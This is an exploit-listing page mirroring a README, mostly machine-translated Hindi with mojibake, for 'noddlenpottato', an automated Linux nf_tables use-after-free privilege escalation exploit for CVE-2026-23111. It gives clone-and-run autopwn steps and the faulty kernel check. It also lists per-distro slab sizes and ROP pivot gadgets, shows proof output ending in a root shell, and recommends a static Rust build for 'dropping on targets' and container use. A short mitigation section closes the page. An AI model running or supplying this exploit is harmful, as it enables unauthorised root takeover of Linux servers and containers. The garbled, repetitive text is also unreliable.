Sploitus

Exploit for CVE-2026-23111-POC-noddlenpottato

kitploit ┬╖ 2026-08-26

Exploit Code

MARKDOWN194 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KNZ-SOURCE-CVE-2026-23111-POC-NODDLENPOTTATO
# CVE-2026-23111 тАФ noddlenpottato

nf_tables catchall UAF тЖТ рдмрд┐рдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓рд╛ LPEред рдЕрдзрд┐рдХрд╛рдВрд╢ 5.10тАФ6.18 linux kernels рдкрд░ user рд╕реЗ rootред

рд▓рдХреНрд╖рд┐рдд kernel рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдГ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реЛрддрд╛ рд╣реИ тАФ struct offsets рдбрд┐рдЯреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, symbols resolve рдХрд░рддрд╛ рд╣реИ, ROP gadgets рдвреВрдВрдврддрд╛ рд╣реИ, slab cache рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЕрдиреБрдХреВрд▓рд┐рдд exploit generate рдХрд░рддрд╛ рд╣реИ, compile рдФрд░ run рдХрд░рддрд╛ рд╣реИред

nf_tables catchall UAF тЖТ рдмрд┐рдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓рд╛ LPEред рдЕрдзрд┐рдХрд╛рдВрд╢ linux kernels 5.10тАФ6.18 рдкрд░ рд╕рд╛рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ root рдмрди рдЬрд╛рддрд╛ рд╣реИред

рд▓рдХреНрд╖рд┐рдд kernel рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдГ рдЕрдиреБрдХреВрд▓рд┐рдд рд╣реЛрддрд╛ рд╣реИ тАФ structs рдХреЗ offsets рдбрд┐рдЯреЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ, symbols resolve рдХрд░рддрд╛ рд╣реИ, ROP gadgets рдвреВрдВрдврддрд╛ рд╣реИ, slab cache рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, custom exploit generate рдХрд░рддрд╛ рд╣реИ, compile рдФрд░ run рдХрд░рддрд╛ рд╣реИред

## exploit chain рдЕрд╡рд▓реЛрдХрди

![exploit chain](https://assets.kitploit.com/production/public/readmes/50056/453f2d1bd72f244c4b9645e4d9e7283bfe2a2d21729dbb48df51f06b5f5e2568.png)

## slab reclaim рд░рдгрдиреАрддрд┐

![slab reclaim](https://assets.kitploit.com/production/public/readmes/50056/585cac6393b499a2e26c2894d3b207ce7bba715bb98273eb1c87149badd911e2.png)

## рднреЗрджреНрдпрддрд╛ / рднреЗрджреНрдпрддрд╛

EN: `nft_map_catchall_activate()` (`net/netfilter/nf_tables_api.c`) рдореЗрдВ inverted genmask check рд╣реЛрддрд╛ рд╣реИред transaction abort рдХреЗ рджреМрд░рд╛рди, handler рдЙрди inactive catchall elements рдХреЛ skip рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ reactivation рдХреА рдЬрд╝рд░реВрд░рдд рд╣реЛрддреА рд╣реИ, рдФрд░ рдЙрди active elements рдХреЛ process рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ reactivation рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреАред рдЗрд╕рд╕реЗ `chain->use` рдмрд┐рдирд╛ рдЙрдЪрд┐рдд restoration рдХреЗ decrement рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ still-referenced chain рдкрд░ DELCHAIN рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ тАФ UAF рдкреИрджрд╛ рд╣реЛрддрд╛ рд╣реИред

PT: `nft_map_catchall_activate()` (`net/netfilter/nf_tables_api.c`) рдореЗрдВ genmask check inverted рд╣реИред transaction abort рдХреЗ рджреМрд░рд╛рди, handler рдЙрди inactive catchall elements рдХреЛ рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ reactivation рдХреА рдЬрд╝рд░реВрд░рдд рд╣реЛрддреА рд╣реИ, рдФрд░ рдЙрди active elements рдХреЛ process рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ reactivation рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреАред рдЗрд╕рд╕реЗ рдмрд┐рдирд╛ рдЙрдЪрд┐рдд restoration рдХреЗ `chain->use` decrement рд╣реЛрддрд╛ рд╣реИ, рдФрд░ still-referenced chain рдкрд░ DELCHAIN рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ тАФ UAF рдмрдирддрд╛ рд╣реИред

рдмрдЧ рд╡рд╛рд▓реА condition:

root@kitploit:~
    
    
    // WRONG (actual code) тАФ skips the elements that need reactivation
    if (!nft_set_elem_active(ext, genmask))
        continue;
    
    // CORRECT (what it should be) тАФ skips elements already active
    if (nft_set_elem_active(ext, iter->genmask))
        return 0;
    

## рдЖрдкрдХреЛ рдХреНрдпрд╛ рдорд┐рд▓рддрд╛ рд╣реИ / рдЖрдкрдХреЛ рдХреНрдпрд╛ рдорд┐рд▓рддрд╛ рд╣реИ

  * **arbitrary kernel read** тАФ рдХрд┐рд╕реА рднреА kernel virtual address рд╕реЗ 8 bytes рдкрдврд╝реЗрдВ, рдЕрд╕реАрдорд┐рдд рдмрд╛рд░
  * **KASLR bypass** тАФ freed chain name рдХреЗ `seq_operations` reclaim рд╕реЗ kernel base рд▓реАрдХ рдХрд░реЗрдВ
  * **full LPE** тАФ KPTI-safe return to userspace рдХреЗ рд╕рд╛рде ROP chain рдХреЗ рдЬрд╝рд░рд┐рдП `commit_creds(init_cred)`
  * **рдмрд┐рдирд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ user рд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ** тАФ рдХреЗрд╡рд▓ `unshare -rUn` (user + network namespace) рдЪрд╛рд╣рд┐рдП
  * **containers рдХреЗ рдЕрдВрджрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ** тАФ kubernetes pods, docker containers (container namespace рдореЗрдВ root рдорд┐рд▓рддрд╛ рд╣реИ)



## рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг / рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

рдпрд╣ bug 6.1.36 (backport) рдореЗрдВ introduce рд╣реБрдЖ рдерд╛ рдФрд░ рдХрдИ LTS branches рдореЗрдВ рдореМрдЬреВрдж рд╣реИ:

рдпрд╣ рдореВрд▓рддрдГ 2023-2026 рдХреЗ рдмреАрдЪ рдЬрд╛рд░реА рд╣рд░ рдкреНрд░рдореБрдЦ enterprise linux distro рдХреЛ рдХрд╡рд░ рдХрд░рддрд╛ рд╣реИред

## рддреНрд╡рд░рд┐рдд рдЖрд░рдВрдн

root@kitploit:~
    
    
    git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
    cd CVE-2026-23111-POC-noddlenpottato
    python3 autopwn.py
    

рдпрд╛ рдЪрд░рдг-рджрд░-рдЪрд░рдг / рдпрд╛ рдЪрд░рдг-рджрд░-рдЪрд░рдг:

root@kitploit:~
    
    
    python3 checker.py --detailed          # check if vulnerable / verifica se ├й vulneravel
    python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
    python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
    make                                   # build the exploit / compila o exploit
    ./exploit                              # pop root
    

## repo рд╕рдВрд░рдЪрдирд╛ / repo рд╕рдВрд░рдЪрдирд╛

root@kitploit:~
    
    
    .
    тФЬтФАтФА autopwn.py                  full auto тАФ detect, extract, compile, exploit
    тФЬтФАтФА checker.py                  vulnerability checker (version, modules, userns, BTF)
    тФЬтФАтФА exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
    тФЬтФАтФА exploit/
    тФВ   тФЬтФАтФА exploit.c               C exploit
    тФВ   тФЬтФАтФА exploit.py              python wrapper with retry logic
    тФВ   тФФтФАтФА exploit.rs              rust port (compiles static with musl)
    тФЬтФАтФА scripts/
    тФВ   тФЬтФАтФА extract_offsets.py      BTF/pahole offset extractor
    тФВ   тФЬтФАтФА find_gadgets.py         ROP gadget finder (objdump/nm)
    тФВ   тФЬтФАтФА slab_check.sh           slab cache analyzer
    тФВ   тФФтФАтФА install_deps.sh         dependency installer
    тФЬтФАтФА img/                        diagrams
    тФЬтФАтФА Makefile                    build targets (C, Rust, deps)
    тФЬтФАтФА EXPLOITATION.md             deep dive into the 5-phase exploit chain
    тФЬтФАтФА DEBUGGING.md                step by step offset extraction and gadget hunting
    тФФтФАтФА CONSIDERATIONS.md           edge cases, bypasses, pitfalls
    

## рдореБрдЦреНрдп рддрдХрдиреАрдХреА рдЕрдиреБрдХреВрд▓рди / рдореБрдЦреНрдп рддрдХрдиреАрдХреА рдЕрдиреБрдХреВрд▓рди

### slab size рдорд╛рдпрдиреЗ рд░рдЦрддрд╛ рд╣реИ

`sizeof(nft_chain)` рд╡рд┐рднрд┐рдиреНрди kernel builds рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИред рдЧрд▓рдд spray size = рдЪреБрдкрдЪрд╛рдк рд╡рд┐рдлрд▓рддрд╛:

root@kitploit:~
    
    
    debian 6.1.172:   120 bytes тЖТ kmalloc-128
    ubuntu 6.5.x:     136 bytes тЖТ kmalloc-192
    ubuntu 6.8.x:     152 bytes тЖТ kmalloc-192
    debian 5.15.x:    112 bytes тЖТ kmalloc-128
    

userdata spray рдХреЛ exact struct size рдХрд╛ рд╣реА рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП (slab size рдХрд╛ рдирд╣реАрдВ)ред `autopwn.py` рдЗрд╕реЗ `pahole` рдХреЗ рдЬрд╝рд░рд┐рдП automatically handle рдХрд░рддрд╛ рд╣реИред

### pivot gadget рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИ

`eval()` call site рдкрд░ expr pointer рд░рдЦрдиреЗ рд╡рд╛рд▓рд╛ register kernel versions рдХреЗ рдмреАрдЪ рдмрджрд▓рддрд╛ рд╣реИ:

kernel| register| рдЖрд╡рд╢реНрдпрдХ gadget  
---|---|---  
6.1.x (debian)| rbp| `leave; jmp __x86_return_thunk`  
6.5+ (ubuntu)| rbx| `mov rsp, rbx; ret` or `push rbx; pop rsp; ret`  
  
рдЧрд▓рдд gadget = рддреБрд░рдВрдд kernel panicред рд╣рдореЗрд╢рд╛ `nft_do_chain` рдХреЛ disassemble рдХрд░рдХреЗ verify рдХрд░реЗрдВред

### retpoline

рдЖрдзреБрдирд┐рдХ kernels рд╕рднреА `ret` рдХреЛ `jmp __x86_return_thunk` рд╕реЗ replace рдХрд░ рджреЗрддреЗ рд╣реИрдВред gadget search рдХреЛ рдЗрд╕рдХрд╛ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП тАФ рдЖрдкрдХреЛ `pop rdi; ret` рдирд╣реАрдВ рдорд┐рд▓реЗрдЧрд╛, рдЖрдкрдХреЛ `pop rdi; jmp __x86_return_thunk` рдорд┐рд▓реЗрдЧрд╛ред

## рдмрд┐рд▓реНрдб

root@kitploit:~
    
    
    # C (recommended тАФ fastest, proven)
    make
    
    # Rust (static binary with musl тАФ good for dropping on targets)
    make rust
    
    # install build deps
    make deps
    

## рдкреНрд░рдорд╛рдг

root@kitploit:~
    
    
    $ id
    uid=1000(user) gid=1000(user)
    
    $ ./exploit
    [*] CVE-2026-23111 nftables UAF -> LPE
    [+] chain freed (kmalloc-128) + name freed (kmalloc-32)
    [pwn] kbase = 0xffffffff9a400000
    [pwn] my_task found at 0xffff8e4a1c084190
    [pwn] canary = 0x5c6fa95dca98e100
    [pwn] commit_creds(init_cred) -> ROP triggered
    [+] root
    
    # id
    uid=0(root) gid=0(root) groups=0(root)
    

## рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг / рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реАрдХрд░рдг

рджрд╕реНрддрд╛рд╡реЗрдЬрд╝| рд╡рд┐рд╡рд░рдг / рд╡рд┐рд╡рд░рдг  
---|---  
EXPLOITATION.md| code рдХреЗ рд╕рд╛рде рд╕рдВрдкреВрд░реНрдг exploit chain walkthrough, EN/PT  
  
## рд╢рдорди рдЙрдкрд╛рдп / рд╢рдорди рдЙрдкрд╛рдп

root@kitploit:~
    
    
    # update kernel to fixed version
    apt upgrade linux-image-$(uname -r)
    
    # or disable unprivileged user namespaces
    sysctl -w kernel.unprivileged_userns_clone=0
    
    # or blacklist nf_tables
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
    

## рдХреНрд░реЗрдбрд┐рдЯ

рдореВрд▓ vulnerability analysis nf_tables advisory рд╕реЗ рд╣реИред рдкреВрд░реНрдг LPE chain development, slab analysis, multi-kernel adaptation, pivot gadget research, рдФрд░ autopwn tooling рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рд╡рд┐рдХрд╕рд┐рдд рдХреА рдЧрдИред